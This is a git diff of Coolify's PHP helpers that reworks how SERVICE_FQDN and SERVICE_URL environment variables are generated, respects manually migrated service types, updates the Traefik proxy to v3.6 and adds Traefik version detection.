-                        $fqdn = generateFqdn(server: $server, random: "$fqdnFor-$uuid", parserVersion: $resource->compose_parsing_version);
-                    } else {
-                        $fqdn = generateFqdn(server: $server, random: "{$savedService->name}-$uuid", parserVersion: $resource->compose_parsing_version);
-                    }
-                    if ($urlFor) {
-                        $url = generateUrl($server, "$urlFor-$uuid");
-                    } else {
-                        $url = generateUrl($server, "{$savedService->name}-$uuid");
-                    }
-                } else {
+
+                $port = $parsed['port'];
+                $fqdnFor = $parsed['service_name'];
+
+                // Only ServiceApplication has fqdn column, ServiceDatabase does not
+                $isServiceApplication = $savedService instanceof ServiceApplication;
+
+                if ($isServiceApplication && blank($savedService->fqdn)) {
+                    $fqdn = generateFqdn(server: $server, random: "$fqdnFor-$uuid", parserVersion: $resource->compose_parsing_version);
+                    $url = generateUrl($server, "$fqdnFor-$uuid");
+                } elseif ($isServiceApplication) {
                     $fqdn = str($savedService->fqdn)->after('://')->before(':')->prepend(str($savedService->fqdn)->before('://')->append('://'))->value();
                     $url = str($savedService->fqdn)->after('://')->before(':')->prepend(str($savedService->fqdn)->before('://')->append('://'))->value();
+                } else {
+                    // For ServiceDatabase, generate fqdn/url without saving to the model
+                    $fqdn = generateFqdn(server: $server, random: "$fqdnFor-$uuid", parserVersion: $resource->compose_parsing_version);
+                    $url = generateUrl($server, "$fqdnFor-$uuid");
                 }
 
+                // IMPORTANT: SERVICE_FQDN env vars should NOT contain scheme (host only)
+                // But $fqdn variable itself may contain scheme (used for database domain field)
+                // Strip scheme for environment variable values
+                $fqdnValueForEnv = str($fqdn)->after('://')->value();
+
                 if ($value && get_class($value) === \Illuminate\Support\Stringable::class && $value->startsWith('/')) {
                     $path = $value->value();
                     if ($path !== '/') {
                         $fqdn = "$fqdn$path";
                         $url = "$url$path";
+                        $fqdnValueForEnv = "$fqdnValueForEnv$path";
                     }
                 }
-                $fqdnWithPort = $fqdn;
+
                 $urlWithPort = $url;
+                $fqdnValueForEnvWithPort = $fqdnValueForEnv;
                 if ($fqdn && $port) {
-                    $fqdnWithPort = "$fqdn:$port";
+                    $fqdnValueForEnvWithPort = "$fqdnValueForEnv:$port";
                 }
                 if ($url && $port) {
                     $urlWithPort = "$url:$port";
                 }
-                if (is_null($savedService->fqdn)) {
+
+                // Only save fqdn to ServiceApplication, not ServiceDatabase
+                if ($isServiceApplication && is_null($savedService->fqdn)) {
+                    // Save URL (with scheme) to database, not FQDN
                     if ((int) $resource->compose_parsing_version >= 5 && version_compare(config('constants.coolify.version'), '4.0.0-beta.420.7', '>=')) {
-                        if ($fqdnFor) {
-                            $savedService->fqdn = $fqdnWithPort;
-                        }
-                        if ($urlFor) {
-                            $savedService->fqdn = $urlWithPort;
-                        }
+                        $savedService->fqdn = $urlWithPort;
                     } else {
-                        $savedService->fqdn = $fqdnWithPort;
+                        $savedService->fqdn = $urlWithPort;
                     }
                     $savedService->save();
                 }
-                if (substr_count(str($key)->value(), '_') === 2) {
+
+                // ALWAYS create BOTH base SERVICE_URL and SERVICE_FQDN pairs (without port)
+                $resource->environment_variables()->updateOrCreate([
+                    'key' => "SERVICE_FQDN_{$serviceName}",
+                    'resourceable_type' => get_class($resource),
+                    'resourceable_id' => $resource->id,
+                ], [
+                    'value' => $fqdnValueForEnv,
+                    'is_preview' => false,
+                ]);
+
+                $resource->environment_variables()->updateOrCreate([
+                    'key' => "SERVICE_URL_{$serviceName}",
+                    'resourceable_type' => get_class($resource),
+                    'resourceable_id' => $resource->id,
+                ], [
+                    'value' => $url,
+                    'is_preview' => false,
+                ]);
+
+                // For port-specific variables, ALSO create port-specific pairs
+                // If template variable has port, create both URL and FQDN with port suffix
+                if ($parsed['has_port'] && $port) {
                     $resource->environment_variables()->updateOrCreate([
-                        'key' => $key->value(),
+                        'key' => "SERVICE_FQDN_{$serviceName}_{$port}",
                         'resourceable_type' => get_class($resource),
                         'resourceable_id' => $resource->id,
                     ], [
-                        'value' => $fqdn,
+                        'value' => $fqdnValueForEnvWithPort,
                         'is_preview' => false,
                     ]);
+
                     $resource->environment_variables()->updateOrCreate([
-                        'key' => $key->value(),
+                        'key' => "SERVICE_URL_{$serviceName}_{$port}",
                         'resourceable_type' => get_class($resource),
                         'resourceable_id' => $resource->id,
                     ], [
-                        'value' => $url,
-                        'is_preview' => false,
-                    ]);
-                }
-                if (substr_count(str($key)->value(), '_') === 3) {
-                    $newKey = str($key)->beforeLast('_');
-                    $resource->environment_variables()->updateOrCreate([
-                        'key' => $newKey->value(),
-                        'resourceable_type' => get_class($resource),
-                        'resourceable_id' => $resource->id,
-                    ], [
-                        'value' => $fqdn,
-                        'is_preview' => false,
-                    ]);
-                    $resource->environment_variables()->updateOrCreate([
-                        'key' => $newKey->value(),
-                        'resourceable_type' => get_class($resource),
-                        'resourceable_id' => $resource->id,
-                    ], [
-                        'value' => $url,
+                        'value' => $urlWithPort,
                         'is_preview' => false,
                     ]);
                 }
@@ -1621,8 +1724,17 @@ function serviceParser(Service $resource): Collection
                     $url = generateUrl(server: $server, random: str($fqdnFor)->replace('_', '-')->value()."-$uuid");
 
                     $envExists = $resource->environment_variables()->where('key', $key->value())->first();
+                    // Also check if a port-suffixed version exists (e.g., SERVICE_FQDN_UMAMI_3000)
+                    $portSuffixedExists = $resource->environment_variables()
+                        ->where('key', 'LIKE', $key->value().'_%')
+                        ->whereRaw('key ~ ?', ['^'.$key->value().'_[0-9]+$'])
+                        ->exists();
                     $serviceExists = ServiceApplication::where('name', str($fqdnFor)->replace('_', '-')->value())->where('service_id', $resource->id)->first();
-                    if (! $envExists && (data_get($serviceExists, 'name') === str($fqdnFor)->replace('_', '-')->value())) {
+                    // Check if FQDN already has a port set (contains ':' after the domain)
+                    $fqdnHasPort = $serviceExists && str($serviceExists->fqdn)->contains(':') && str($serviceExists->fqdn)->afterLast(':')->isMatch('/^\d+$/');
+                    // Only set FQDN if it's for the current service being processed (prevent race conditions)
+                    $isCurrentService = $serviceExists && $serviceExists->id === $savedService->id;
+                    if (! $envExists && ! $portSuffixedExists && ! $fqdnHasPort && $isCurrentService && (data_get($serviceExists, 'name') === str($fqdnFor)->replace('_', '-')->value())) {
                         // Save URL otherwise it won't work.
                         $serviceExists->fqdn = $url;
                         $serviceExists->save();
@@ -1641,8 +1753,17 @@ function serviceParser(Service $resource): Collection
                     $url = generateUrl(server: $server, random: str($urlFor)->replace('_', '-')->value()."-$uuid");
 
                     $envExists = $resource->environment_variables()->where('key', $key->value())->first();
+                    // Also check if a port-suffixed version exists (e.g., SERVICE_URL_DASHBOARD_6791)
+                    $portSuffixedExists = $resource->environment_variables()
+                        ->where('key', 'LIKE', $key->value().'_%')
+                        ->whereRaw('key ~ ?', ['^'.$key->value().'_[0-9]+$'])
+                        ->exists();
                     $serviceExists = ServiceApplication::where('name', str($urlFor)->replace('_', '-')->value())->where('service_id', $resource->id)->first();
-                    if (! $envExists && (data_get($serviceExists, 'name') === str($urlFor)->replace('_', '-')->value())) {
+                    // Check if FQDN already has a port set (contains ':' after the domain)
+                    $fqdnHasPort = $serviceExists && str($serviceExists->fqdn)->contains(':') && str($serviceExists->fqdn)->afterLast(':')->isMatch('/^\d+$/');
+                    // Only set FQDN if it's for the current service being processed (prevent race conditions)
+                    $isCurrentService = $serviceExists && $serviceExists->id === $savedService->id;
+                    if (! $envExists && ! $portSuffixedExists && ! $fqdnHasPort && $isCurrentService && (data_get($serviceExists, 'name') === str($urlFor)->replace('_', '-')->value())) {
                         $serviceExists->fqdn = $url;
                         $serviceExists->save();
                     }
@@ -1707,7 +1828,25 @@ function serviceParser(Service $resource): Collection
         $environment = convertToKeyValueCollection($environment);
         $coolifyEnvironments = collect([]);
 
-        $isDatabase = isDatabaseImage($image, $service);
+        // Check for manually migrated services first (respects user's conversion choice)
+        $migratedApp = ServiceApplication::where('name', $serviceName)
+            ->where('service_id', $resource->id)
+            ->where('is_migrated', true)
+            ->first();
+        $migratedDb = ServiceDatabase::where('name', $serviceName)
+            ->where('service_id', $resource->id)
+            ->where('is_migrated', true)
+            ->first();
+
+        if ($migratedApp || $migratedDb) {
+            // Use the migrated service type, ignoring image detection
+            $isDatabase = (bool) $migratedDb;
+            $savedService = $migratedApp ?: $migratedDb;
+        } else {
+            // Use image detection for non-migrated services
+            $isDatabase = isDatabaseImage($image, $service);
+        }
+
         $volumesParsed = collect([]);
 
         $containerName = "$serviceName-{$resource->uuid}";
@@ -1729,7 +1868,10 @@ function serviceParser(Service $resource): Collection
             $predefinedPort = '8000';
         }
 
-        if ($isDatabase) {
+        if ($migratedApp || $migratedDb) {
+            // Use the already determined migrated service
+            $savedService = $migratedApp ?: $migratedDb;
+        } elseif ($isDatabase) {
             $applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first();
             if ($applicationFound) {
                 $savedService = $applicationFound;
@@ -1791,9 +1933,12 @@ function serviceParser(Service $resource): Collection
                     // Validate source and target for command injection (array/long syntax)
                     if ($source !== null && ! empty($source->value())) {
                         $sourceValue = $source->value();
-                        // Allow simple environment variable references
+                        // Allow environment variable references and env vars with path concatenation
                         $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue);
-                        if (! $isSimpleEnvVar) {
+                        $isEnvVarWithDefault = preg_match('/^\$\{[^}]+:-[^}]*\}$/', $sourceValue);
+                        $isEnvVarWithPath = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}[\/\w\.\-]*$/', $sourceValue);
+
+                        if (! $isSimpleEnvVar && ! $isEnvVarWithDefault && ! $isEnvVarWithPath) {
                             try {
                                 validateShellSafePath($sourceValue, 'volume source');
                             } catch (\Exception $e) {
@@ -2122,13 +2267,21 @@ function serviceParser(Service $resource): Collection
             $environment = $environment->filter(function ($value, $key) {
                 return ! str($key)->startsWith('SERVICE_FQDN_');
             })->map(function ($value, $key) use ($resource) {
-                // if value is empty, set it to null so if you set the environment variable in the .env file (Coolify's UI), it will used
-                if (str($value)->isEmpty()) {
-                    if ($resource->environment_variables()->where('key', $key)->exists()) {
-                        $value = $resource->environment_variables()->where('key', $key)->first()->value;
-                    } else {
-                        $value = null;
+                // Preserve empty strings and null values with correct Docker Compose semantics:
+                // - Empty string: Variable is set to "" (e.g., HTTP_PROXY="" means "no proxy")
+                // - Null: Variable is unset/removed from container environment (may inherit from host)
+                if ($value === null) {
+                    // User explicitly wants variable unset - respect that
+                    // NEVER override from database - null means "inherit from environment"
+                    // Keep as null (will be excluded from container environment)
+                } elseif ($value === '') {
+                    // Empty string - allow database override for backward compatibility
+                    $dbEnv = $resource->environment_variables()->where('key', $key)->first();
+                    // Only use database override if it exists AND has a non-empty value
+                    if ($dbEnv && str($dbEnv->value)->isNotEmpty()) {
+                        $value = $dbEnv->value;
                     }
+                    // Otherwise keep empty string as-is
                 }
 
                 return $value;
@@ -2240,6 +2393,15 @@ function serviceParser(Service $resource): Collection
         if ($depends_on->count() > 0) {
             $payload['depends_on'] = $depends_on;
         }
+        // Auto-inject .env file so Coolify environment variables are available inside containers
+        // This makes Services behave consistently with Applications
+        $existingEnvFiles = data_get($service, 'env_file');
+        $envFiles = collect(is_null($existingEnvFiles) ? [] : (is_array($existingEnvFiles) ? $existingEnvFiles : [$existingEnvFiles]))
+            ->push('.env')
+            ->unique()
+            ->values();
+
+        $payload['env_file'] = $envFiles;
 
         $parsedServices->put($serviceName, $payload);
     }
@@ -2251,6 +2413,18 @@ function serviceParser(Service $resource): Collection
         return array_search($key, $customOrder);
     });
 
+    // Remove empty top-level sections (volumes, networks, configs, secrets)
+    // Keep only non-empty sections to match Docker Compose best practices
+    $topLevel = $topLevel->filter(function ($value, $key) {
+        // Always keep 'services' section
+        if ($key === 'services') {
+            return true;
+        }
+
+        // Keep section only if it has content
+        return $value instanceof Collection ? $value->isNotEmpty() : ! empty($value);
+    });
+
     $cleanedCompose = Yaml::dump(convertToArray($topLevel), 10, 2);
     $resource->docker_compose = $cleanedCompose;
 
diff --git a/bootstrap/helpers/proxy.php b/bootstrap/helpers/proxy.php
index 924bad307..08fad4958 100644
--- a/bootstrap/helpers/proxy.php
+++ b/bootstrap/helpers/proxy.php
@@ -212,7 +212,7 @@ function generateDefaultProxyConfiguration(Server $server, array $custom_command
             'services' => [
                 'traefik' => [
                     'container_name' => 'coolify-proxy',
-                    'image' => 'traefik:v3.1',
+                    'image' => 'traefik:v3.6',
                     'restart' => RESTART_MODE,
                     'extra_hosts' => [
                         'host.docker.internal:host-gateway',
@@ -334,3 +334,93 @@ function generateDefaultProxyConfiguration(Server $server, array $custom_command
 
     return $config;
 }
+
+function getExactTraefikVersionFromContainer(Server $server): ?string
+{
+    try {
+        Log::debug("getExactTraefikVersionFromContainer: Server '{$server->name}' (ID: {$server->id}) - Checking for exact version");
+
+        // Method A: Execute traefik version command (most reliable)
+        $versionCommand = "docker exec coolify-proxy traefik version 2>/dev/null | grep -oP 'Version:\s+\K\d+\.\d+\.\d+'";
+        Log::debug("getExactTraefikVersionFromContainer: Server '{$server->name}' (ID: {$server->id}) - Running: {$versionCommand}");
+
+        $output = instant_remote_process([$versionCommand], $server, false);
+
+        if (! empty(trim($output))) {
+            $version = trim($output);
+            Log::debug("getExactTraefikVersionFromContainer: Server '{$server->name}' (ID: {$server->id}) - Detected exact version from command: {$version}");
+
+            return $version;
+        }
+
+        // Method B: Try OCI label as fallback
+        $labelCommand = "docker inspect coolify-proxy --format '{{index .Config.Labels \"org.opencontainers.image.version\"}}' 2>/dev/null";
+        Log::debug("getExactTraefikVersionFromContainer: Server '{$server->name}' (ID: {$server->id}) - Trying OCI label");
+
+        $label = instant_remote_process([$labelCommand], $server, false);
+
+        if (! empty(trim($label))) {
+            // Extract version number from label (might have 'v' prefix)
+            if (preg_match('/(\d+\.\d+\.\d+)/', trim($label), $matches)) {
+                Log::debug("getExactTraefikVersionFromContainer: Server '{$server->name}' (ID: {$server->id}) - Detected from OCI label: {$matches[1]}");
+
+                return $matches[1];
+            }
+        }
+
+        Log::debug("getExactTraefikVersionFromContainer: Server '{$server->name}' (ID: {$server->id}) - Could not detect exact version");
+
+        return null;
+    } catch (\Exception $e) {
+        Log::error("getExactTraefikVersionFromContainer: Server '{$server->name}' (ID: {$server->id}) - Error: ".$e->getMessage());
+
+        return null;
+    }
+}
+
+function getTraefikVersionFromDockerCompose(Server $server): ?string
+{
+    try {
+        Log::debug("getTraefikVersionFromDockerCompose: Server '{$server->name}' (ID: {$server->id}) - Starting version detection");
+
+        // Try to get exact version from running container (e.g., "3.6.0")
+        $exactVersion = getExactTraefikVersionFromContainer($server);
+        if ($exactVersion) {
+            Log::debug("getTraefikVersionFromDockerCompose: Server '{$server->name}' (ID: {$server->id}) - Using exact version: {$exactVersion}");
+
+            return $exactVersion;
+        }
+
+        // Fallback: Check image tag (current method)
+        Log::debug("getTraefikVersionFromDockerCompose: Server '{$server->name}' (ID: {$server->id}) - Falling back to image tag detection");
+
+        $containerName = 'coolify-proxy';
+        $inspectCommand = "docker inspect {$containerName} --format '{{.Config.Image}}' 2>/dev/null";
+
+        $image = instant_remote_process([$inspectCommand], $server, false);
+
+        if (empty(trim($image))) {
+            Log::debug("getTraefikVersionFromDockerCompose: Server '{$server->name}' (ID: {$server->id}) - Container '{$containerName}' not found or not running");
+
+            return null;
+        }
+
+        $image = trim($image);
+        Log::debug("getTraefikVersionFromDockerCompose: Server '{$server->name}' (ID: {$server->id}) - Running container image: {$image}");
+
+        // Extract version from image string (e.g., "traefik:v3.6" or "traefik:3.6.0" or "traefik:latest")
+        if (preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches)) {
+            Log::debug("getTraefikVersionFromDockerCompose: Server '{$server->name}' (ID: {$server->id}) - Extracted version from image tag: {$matches[1]}");
+
+            return $matches[1];
+        }
+
+        Log::debug("getTraefikVersionFromDockerCompose: Server '{$server->name}' (ID: {$server->id}) - Image format doesn't match expected pattern: {$image}");
+
+        return null;
+    } catch (\Exception $e) {
+        Log::error("getTraefikVersionFromDockerCompose: Server '{$server->name}' (ID: {$server->id}) - Error: ".$e->getMessage());
+
+        return null;
+    }
+}
diff --git a/bootstrap/helpers/services.php b/bootstrap/helpers/services.php
index a124272a2..3fff2c090 100644
--- a/bootstrap/helpers/services.php
+++ b/bootstrap/helpers/services.php
@@ -115,65 +115,170 @@ function updateCompose(ServiceApplication|ServiceDatabase $resource)
             $resource->save();
         }
 
-        $serviceName = str($resource->name)->upper()->replace('-', '_')->replace('.', '_');
-        $resource->service->environment_variables()->where('key', 'LIKE', "SERVICE_FQDN_{$serviceName}%")->delete();
-        $resource->service->environment_variables()->where('key', 'LIKE', "SERVICE_URL_{$serviceName}%")->delete();
+        // Extract SERVICE_URL and SERVICE_FQDN variable names from the compose template
+        // to ensure we use the exact names defined in the template (which may be abbreviated)
+        // IMPORTANT: Only extract variables that are DIRECTLY DECLARED for this service,
+        // not variables that are merely referenced from other services
+        $serviceConfig = data_get($dockerCompose, "services.{$name}");
+        $environment = data_get($serviceConfig, 'environment', []);
+        $templateVariableNames = [];
+
+        foreach ($environment as $key => $value) {
+            if (is_int($key) && is_string($value)) {
+                // List-style: "- SERVICE_URL_APP_3000" or "- SERVICE_URL_APP_3000=value"
+                // Extract variable name (before '=' if present)
+                $envVarName = str($value)->before('=')->trim();
+                // Only include if it's a direct declaration (not a reference like ${VAR})
+                // Direct declarations look like: SERVICE_URL_APP or SERVICE_URL_APP_3000
+                // References look like: NEXT_PUBLIC_URL=${SERVICE_URL_APP}
+                if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                    $templateVariableNames[] = $envVarName->value();
+                }
+            } elseif (is_string($key)) {
+                // Map-style: "SERVICE_URL_APP_3000: value" or "SERVICE_FQDN_DB: localhost"
+                $envVarName = str($key);
+                if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                    $templateVariableNames[] = $envVarName->value();
+                }
+            }
+            // DO NOT extract variables that are only referenced with ${VAR_NAME} syntax
+            // Those belong to other services and will be updated when THOSE services are updated
+        }
+
+        // Remove duplicates
+        $templateVariableNames = array_unique($templateVariableNames);
+
+        // Extract unique service names to process (preserving the original case from template)
+        // This allows us to create both URL and FQDN pairs regardless of which one is in the template
+        $serviceNamesToProcess = [];
+        foreach ($templateVariableNames as $templateVarName) {
+            $parsed = parseServiceEnvironmentVariable($templateVarName);
+
+            // Extract the original service name with case preserved from the template
+            $strKey = str($templateVarName);
+            if ($parsed['has_port']) {
+                // For port-specific variables, get the name between SERVICE_URL_/SERVICE_FQDN_ and the last underscore
+                if ($strKey->startsWith('SERVICE_URL_')) {
+                    $serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
+                } elseif ($strKey->startsWith('SERVICE_FQDN_')) {
+                    $serviceName = $strKey->after('SERVICE_FQDN_')->beforeLast('_')->value();
+                } else {
+                    continue;
+                }
+            } else {
+                // For base variables, get everything after SERVICE_URL_/SERVICE_FQDN_
+                if ($strKey->startsWith('SERVICE_URL_')) {
+                    $serviceName = $strKey->after('SERVICE_URL_')->value();
+                } elseif ($strKey->startsWith('SERVICE_FQDN_')) {
+                    $serviceName = $strKey->after('SERVICE_FQDN_')->value();
+                } else {
+                    continue;
+                }
+            }
+
+            // Use lowercase key for array indexing (to group case variations together)
+            $serviceKey = str($serviceName)->lower()->value();
+
+            // Track both base service name and port-specific variant
+            if (! isset($serviceNamesToProcess[$serviceKey])) {
+                $serviceNamesToProcess[$serviceKey] = [
+                    'base' => $serviceName,  // Preserve original case
+                    'ports' => [],
+                ];
+            }
+
+            // If this variable has a port, track it
+            if ($parsed['has_port'] && $parsed['port']) {
+                $serviceNamesToProcess[$serviceKey]['ports'][] = $parsed['port'];
+            }
+        }
+
+        // Delete all existing SERVICE_URL and SERVICE_FQDN variables for these service names
+        // We need to delete both URL and FQDN variants, with and without ports
+        foreach ($serviceNamesToProcess as $serviceInfo) {
+            $serviceName = $serviceInfo['base'];
+
+            // Delete base variables
+            $resource->service->environment_variables()->where('key', "SERVICE_URL_{$serviceName}")->delete();
+            $resource->service->environment_variables()->where('key', "SERVICE_FQDN_{$serviceName}")->delete();
+
+            // Delete port-specific variables
+            foreach ($serviceInfo['ports'] as $port) {
+                $resource->service->environment_variables()->where('key', "SERVICE_URL_{$serviceName}_{$port}")->delete();
+                $resource->service->environment_variables()->where('key', "SERVICE_FQDN_{$serviceName}_{$port}")->delete();
+            }
+        }
 
         if ($resource->fqdn) {
             $resourceFqdns = str($resource->fqdn)->explode(',');
             $resourceFqdns = $resourceFqdns->first();
-            $variableName = 'SERVICE_URL_'.str($resource->name)->upper()->replace('-', '_')->replace('.', '_');
             $url = Url::fromString($resourceFqdns);
             $port = $url->getPort();
             $path = $url->getPath();
+
+            // Prepare URL value (with scheme and host)
             $urlValue = $url->getScheme().'://'.$url->getHost();
             $urlValue = ($path === '/') ? $urlValue : $urlValue.$path;
-            $resource->service->environment_variables()->updateOrCreate([
-                'resourceable_type' => Service::class,
-                'resourceable_id' => $resource->service_id,
-                'key' => $variableName,
-            ], [
-                'value' => $urlValue,
-                'is_preview' => false,
-            ]);
-            if ($port) {
-                $variableName = $variableName."_$port";
+
+            // Prepare FQDN value (host only, no scheme)
+            $fqdnHost = $url->getHost();
+            $fqdnValue = str($fqdnHost)->after('://');
+            if ($path !== '/') {
+                $fqdnValue = $fqdnValue.$path;
+            }
+
+            // For each service name found in template, create BOTH SERVICE_URL and SERVICE_FQDN pairs
+            foreach ($serviceNamesToProcess as $serviceInfo) {
+                $serviceName = $serviceInfo['base'];
+                $ports = array_unique($serviceInfo['ports']);
+
+                // ALWAYS create base pair (without port)
                 $resource->service->environment_variables()->updateOrCreate([
                     'resourceable_type' => Service::class,
                     'resourceable_id' => $resource->service_id,
-                    'key' => $variableName,
+                    'key' => "SERVICE_URL_{$serviceName}",
                 ], [
                     'value' => $urlValue,
                     'is_preview' => false,
                 ]);
-            }
-            $variableName = 'SERVICE_FQDN_'.str($resource->name)->upper()->replace('-', '_')->replace('.', '_');
-            $fqdn = Url::fromString($resourceFqdns);
-            $port = $fqdn->getPort();
-            $path = $fqdn->getPath();
-            $fqdn = $fqdn->getHost();
-            $fqdnValue = str($fqdn)->after('://');
-            if ($path !== '/') {
-                $fqdnValue = $fqdnValue.$path;
-            }
-            $resource->service->environment_variables()->updateOrCreate([
-                'resourceable_type' => Service::class,
-                'resourceable_id' => $resource->service_id,
-                'key' => $variableName,
-            ], [
-                'value' => $fqdnValue,
-                'is_preview' => false,
-            ]);
-            if ($port) {
-                $variableName = $variableName."_$port";
+
                 $resource->service->environment_variables()->updateOrCreate([
                     'resourceable_type' => Service::class,
                     'resourceable_id' => $resource->service_id,
-                    'key' => $variableName,
+                    'key' => "SERVICE_FQDN_{$serviceName}",
                 ], [
                     'value' => $fqdnValue,
                     'is_preview' => false,
                 ]);
+
+                // Create port-specific pairs for each port found in template or FQDN
+                $allPorts = $ports;
+                if ($port && ! in_array($port, $allPorts)) {
+                    $allPorts[] = $port;
+                }
+
+                foreach ($allPorts as $portNum) {
+                    $urlWithPort = $urlValue.':'.$portNum;
+                    $fqdnWithPort = $fqdnValue.':'.$portNum;
+
+                    $resource->service->environment_variables()->updateOrCreate([
+                        'resourceable_type' => Service::class,
+                        'resourceable_id' => $resource->service_id,
+                        'key' => "SERVICE_URL_{$serviceName}_{$portNum}",
+                    ], [
+                        'value' => $urlWithPort,
+                        'is_preview' => false,
+                    ]);
+
+                    $resource->service->environment_variables()->updateOrCreate([
+                        'resourceable_type' => Service::class,
+                        'resourceable_id' => $resource->service_id,
+                        'key' => "SERVICE_FQDN_{$serviceName}_{$portNum}",
+                    ], [
+                        'value' => $fqdnWithPort,
+                        'is_preview' => false,
+                    ]);
+                }
             }
         }
     } catch (\Throwable $e) {
@@ -184,3 +289,53 @@ function serviceKeys()
 {
     return get_service_templates()->keys();
 }
+
+/**
+ * Parse a SERVICE_URL_* or SERVICE_FQDN_* variable to extract the service name and port.
+ *
+ * This function detects if a service environment variable has a port suffix by checking
+ * if the last segment after the underscore is numeric.
+ *
+ * Examples:
+ *   - SERVICE_URL_APP_3000 → ['service_name' => 'app', 'port' => '3000', 'has_port' => true]
+ *   - SERVICE_URL_MY_API_8080 → ['service_name' => 'my_api', 'port' => '8080', 'has_port' => true]
+ *   - SERVICE_URL_MY_APP → ['service_name' => 'my_app', 'port' => null, 'has_port' => false]
+ *   - SERVICE_FQDN_REDIS_CACHE_6379 → ['service_name' => 'redis_cache', 'port' => '6379', 'has_port' => true]
+ *
+ * @param  string  $key  The environment variable key (e.g., SERVICE_URL_APP_3000)
+ * @return array{service_name: string, port: string|null, has_port: bool} Parsed service information
+ */
+function parseServiceEnvironmentVariable(string $key): array
+{
+    $strKey = str($key);
+    $lastSegment = $strKey->afterLast('_')->value();
+    $hasPort = is_numeric($lastSegment) && ctype_digit($lastSegment);
+
+    if ($hasPort) {
+        // Port-specific variable (e.g., SERVICE_URL_APP_3000)
+        if ($strKey->startsWith('SERVICE_URL_')) {
+            $serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->lower()->value();
+        } elseif ($strKey->startsWith('SERVICE_FQDN_')) {
+            $serviceName = $strKey->after('SERVICE_FQDN_')->beforeLast('_')->lower()->value();
+        } else {
+            $serviceName = '';
+        }
+        $port = $lastSegment;
+    } else {
+        // Base variable without port (e.g., SERVICE_URL_APP)
+        if ($strKey->startsWith('SERVICE_URL_')) {
+            $serviceName = $strKey->after('SERVICE_URL_')->lower()->value();
+        } elseif ($strKey->startsWith('SERVICE_FQDN_')) {
+            $serviceName = $strKey->after('SERVICE_FQDN_')->lower()->value();
+        } else {
+            $serviceName = '';
+        }
+        $port = null;
+    }
+
+    return [
+        'service_name' => $serviceName,
+        'port' => $port,
+        'has_port' => $hasPort,
+    ];
+}
diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php
index 0f5b6f553..1b23247fa 100644
--- a/bootstrap/helpers/shared.php
+++ b/bootstrap/helpers/shared.php
@@ -241,10 +241,9 @@ function get_latest_sentinel_version(): string
 function get_latest_version_of_coolify(): string
 {
     try {
-        $versions = File::get(base_path('versions.json'));
-        $versions = json_decode($versions, true);
+        $versions = get_versions_data();
 
-        return data_get($versions, 'coolify.v4.version');
+        return data_get($versions, 'coolify.v4.version', '0.0.0');
     } catch (\Throwable $e) {
 
         return '0.0.0';
@@ -1353,52 +1352,71 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
 
                 // Decide if the service is a database
                 $image = data_get_str($service, 'image');
-                $isDatabase = isDatabaseImage($image, $service);
-                data_set($service, 'is_database', $isDatabase);
 
-                // Create new serviceApplication or serviceDatabase
-                if ($isDatabase) {
-                    if ($isNew) {
-                        $savedService = ServiceDatabase::create([
-                            'name' => $serviceName,
-                            'image' => $image,
-                            'service_id' => $resource->id,
-                        ]);
-                    } else {
-                        $savedService = ServiceDatabase::where([
-                            'name' => $serviceName,
-                            'service_id' => $resource->id,
-                        ])->first();
-                        if (is_null($savedService)) {
+                // Check for manually migrated services first (respects user's conversion choice)
+                $migratedApp = ServiceApplication::where('name', $serviceName)
+                    ->where('service_id', $resource->id)
+                    ->where('is_migrated', true)
+                    ->first();
+                $migratedDb = ServiceDatabase::where('name', $serviceName)
+                    ->where('service_id', $resource->id)
+                    ->where('is_migrated', true)
+                    ->first();
+
+                if ($migratedApp || $migratedDb) {
+                    // Use the migrated service type, ignoring image detection
+                    $isDatabase = (bool) $migratedDb;
+                    $savedService = $migratedApp ?: $migratedDb;
+                } else {
+                    // Use image detection for non-migrated services
+                    $isDatabase = isDatabaseImage($image, $service);
+
+                    // Create new serviceApplication or serviceDatabase
+                    if ($isDatabase) {
+                        if ($isNew) {
                             $savedService = ServiceDatabase::create([
                                 'name' => $serviceName,
                                 'image' => $image,
                                 'service_id' => $resource->id,
                             ]);
+                        } else {
+                            $savedService = ServiceDatabase::where([
+                                'name' => $serviceName,
+                                'service_id' => $resource->id,
+                            ])->first();
+                            if (is_null($savedService)) {
+                                $savedService = ServiceDatabase::create([
+                                    'name' => $serviceName,
+                                    'image' => $image,
+                                    'service_id' => $resource->id,
+                                ]);
+                            }
                         }
-                    }
-                } else {
-                    if ($isNew) {
-                        $savedService = ServiceApplication::create([
-                            'name' => $serviceName,
-                            'image' => $image,
-                            'service_id' => $resource->id,
-                        ]);
                     } else {
-                        $savedService = ServiceApplication::where([
-                            'name' => $serviceName,
-                            'service_id' => $resource->id,
-                        ])->first();
-                        if (is_null($savedService)) {
+                        if ($isNew) {
                             $savedService = ServiceApplication::create([
                                 'name' => $serviceName,
                                 'image' => $image,
                                 'service_id' => $resource->id,
                             ]);
+                        } else {
+                            $savedService = ServiceApplication::where([
+                                'name' => $serviceName,
+                                'service_id' => $resource->id,
+                            ])->first();
+                            if (is_null($savedService)) {
+                                $savedService = ServiceApplication::create([
+                                    'name' => $serviceName,
+                                    'image' => $image,
+                                    'service_id' => $resource->id,
+                                ]);
+                            }
                         }
                     }
                 }
 
+                data_set($service, 'is_database', $isDatabase);
+
                 // Check if image changed
                 if ($savedService->image !== $image) {
                     $savedService->image = $image;
@@ -2879,6 +2897,18 @@ function instanceSettings()
     return InstanceSettings::get();
 }
 
+function getHelperVersion(): string
+{
+    $settings = instanceSettings();
+
+    // In development mode, use the dev_helper_version if set, otherwise fallback to config
+    if (isDev() && ! empty($settings->dev_helper_version)) {
+        return $settings->dev_helper_version;
+    }
+
+    return config('constants.coolify.helper_version');
+}
+
 function loadConfigFromGit(string $repository, string $branch, string $base_directory, int $server_id, int $team_id)
 {
     $server = Server::find($server_id)->where('team_id', $team_id)->first();
